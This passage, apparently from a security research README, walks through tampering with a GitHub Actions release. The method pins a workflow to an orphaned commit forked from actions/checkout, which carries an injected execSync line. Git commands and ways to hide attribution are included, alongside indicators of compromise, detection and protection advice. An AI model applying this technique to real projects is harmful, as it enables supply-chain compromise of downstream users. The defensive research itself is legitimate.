What we can do however, is to disassociate the orphan commit from our namespace and just register a throwaway namespace. In the case of tj-actions, the threat actors went even farther and "forced" GitHub do hide their account and history by changing their email address to a throwaway address on purpose (GitHub documentation about inauthentic activity and Unit42's writeup about the way threat actors abused that in the past)

We are going to run this under our official flag for this PoC, but a threat actor would not (as can be seen in the wild).

In the Build stage, we leave the logs of the workflow run building the release, which also leak the SHA:

We could delete the logs (as mentioned many times). This would not help however, since the hash is also in the workflow definition directly connected to the release.

Let's go again!

Tampering

⏩ The short version of what we are going to do:

  • actions/checkout:
    • Fork to offensive-actions/orphan
  • offensive-actions/orphan
    • Add our malicious code snippet
  • offensive-actions/release-tampering-pocs:
    • Update the release.yml to pull the actions/checkout Action from the commit hash
    • Build a new release with v5
  • offensive-actions/orphan
    • Delete the repository

First, we fork actions/checkout to offensive-actions/orphan:

Then, we add the following lines on line 1895/1896 of /dist/index.js (the line above and below for reference, they of course do not need to be commented out). Our logic changes the contents of the file original.txt right after the untampered file got cloned (same procedure as in Path 2️⃣ Using a typosquatted third-party GitHub Action in our workflow):

// yield gitSourceProvider.getSource(sourceSettings);
const { execSync } = require('child_process');               
execSync('echo "This was tampered from an orphaned commit belonging to the actions/checkout repository." > original.txt', { stdio: 'inherit' });
// core.setOutput('ref', sourceSettings.ref);

🔗 You find the raw file in

This commit has the commit hash ff734ece1b6b2e87d5b119e74d6d6e5d8a743a31:

https://github.com/offensive-actions/orphan/commit/ff734ece1b6b2e87d5b119e74d6d6e5d8a743a31

And here is the same commit in the context of actions/checkout:

https://github.com/actions/checkout/commit/ff734ece1b6b2e87d5b119e74d6d6e5d8a743a31

Now, we are going to check out the branch tampered_releases of the repository offensive-actions/release-tampering-pocs and reference the commit hash in .github/workflows/release.yml. We do not forget to change the runner back to the normal ubuntu-latest:

🔗 You find the raw file in ./.github/workflows/release.yml

steps:
      - name: Checkout
        uses: actions/checkout@ff734ece1b6b2e87d5b119e74d6d6e5d8a743a31

We pull the changes locally, and tag with v5 to create a new release:

git pull
git checkout tampered_releases
git tag v5
git push --tags

The build is successfull:

https://github.com/offensive-actions/release-tampering-pocs/actions/runs/17685219142/job/50268422648

And we again tampered successfully with the release:

https://github.com/offensive-actions/release-tampering-pocs/releases/tag/v5

We delete the fork:

And the deletion was successful - the commit, if referenced under our namespace offensive-actions/orphan is not reachable anymore:

https://github.com/offensive-actions/orphan/commit/ff734ece1b6b2e87d5b119e74d6d6e5d8a743a31

Indicators of compromise

We leave behind the commit hash reference in the release.yml:

https://github.com/offensive-actions/release-tampering-pocs/blob/v5/.github/workflows/release.yml

We leave behind the commit hash in the build logs:

https://github.com/offensive-actions/release-tampering-pocs/actions/runs/17685219142/job/50268422648

And we leave behind the orphaned commit:

https://github.com/actions/checkout/commit/ff734ece1b6b2e87d5b119e74d6d6e5d8a743a31

Detection

If there is no raised suspicion already, this will probably not get detected while browsing the repository manually. However, with automation this should be detectable easily.

Emphasis on "should", since it looks like while GitHub tells us This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository., if we look at an orphaned commit in the browser, they do not expose this information easily reachable via the API. The interesting part is that the message is not even part of the original HTML when looked at in the browser, so one would have to hunt for the information that is being produced by JS.

This should maybe be changed (or please tell us if you know how it can be done easily!)

Protection

This is taken more or less verbatim from Path 2️⃣ Using a typosquatted third-party GitHub Action in our workflow:

Ideally at least monitor the repositories you directly consume releases from automatically and check if the commit pulled for any GitHub Action used in the build leads to an orphan commit.

If this is the case, stop using the releases offered until the situation can be cleared up.

And again, hope for the "Immutable Actions Publishing" (Roadmap Issue, planned for Q3 2025).

Rating as attacker

This attack path is great. It can be quickly built and tested with other repositories without problems. All you need to to in the target repository is to add the correct SHA and you can double check the correctness before committing.

We do leave behind the orphaned commit, however. When we use this attack path to e.g. load arbitrary code from an Azure Storage Accout, it does look super fishy, but no one can tell what exactly got executed after the fact.

But we see it from this angle: most probably a defender will not check the commit that is being pulled from a legitimate source like actions/checkout... And as we could see even automatically detecting this is not easy and thus error prone.

⬆️ Back to the table of contents

🕑Future Work

As we saw above, things change constantly. GitHub is currently pushing the whole "immutability" thing hard - thank you to the responsible team for that :) So here is a list of the next things one might want to look at.

Immutable Actions Publishing

Roadmap Issue: github/roadmap#1103 (and github/roadmap#592)

Things we would look into:

  • Can published versions be deleted and republished under the same <namespace>/<repository>:<tag>? This was a problem for e.g. npm in the past.
  • Can the whole repository be deleted, reopened, and the Action republished with the same <namespace>/<repository>:<tag>?

Custom VM Images for GitHub-hosted runners

Roadmap Issue: github/roadmap#1019 (already in private beta)

Things we would look into:

  • How can we invoke a "custom VM image" in a GitHub-hosted runner?
  • Can we create such an image from a private repository and use it in a public repository to hide what is being set up in the image?
  • Are these images versioned and immutable in some way?

⬆️ Back to the table of contents

💡 Learnings

  1. In all identified attack paths, attackers cannot get around leaving traces, and be it only in the build logs. These can be deleted, but this again can be detected within the first 90 days after release.
  2. You cannot judge your supply chain by just looking at code with your eyes, you need to automate it.
  3. If you find something that might be improved (e.g. immutable releases are off), let the maintainers know. Also, help them, it's open source.
  4. Forking direct supply chain dependencies might be a thing for larger orgs, since they have more control over releases. However, they need to stay up to date and this is a headache.
  5. GitHub seems to be pushing in the right direction with a lot of new features around immutability and build provenance.
  6. Check out SLSA, maybe it will help you.
  7. Honestly, be prepared that a supply chain incident will hit you and have procedures at hand for rotating access keys, revoking credentials, etc.

⬆️ Back to the table of contents

About

Proof of Concepts for malicious maintainers: How to Tamper with Releases built with GitHub Actions Worfklows, presented at fwd:cloudsec Europe 2025

Resources

Stars

Watchers

Forks

Contributors

Languages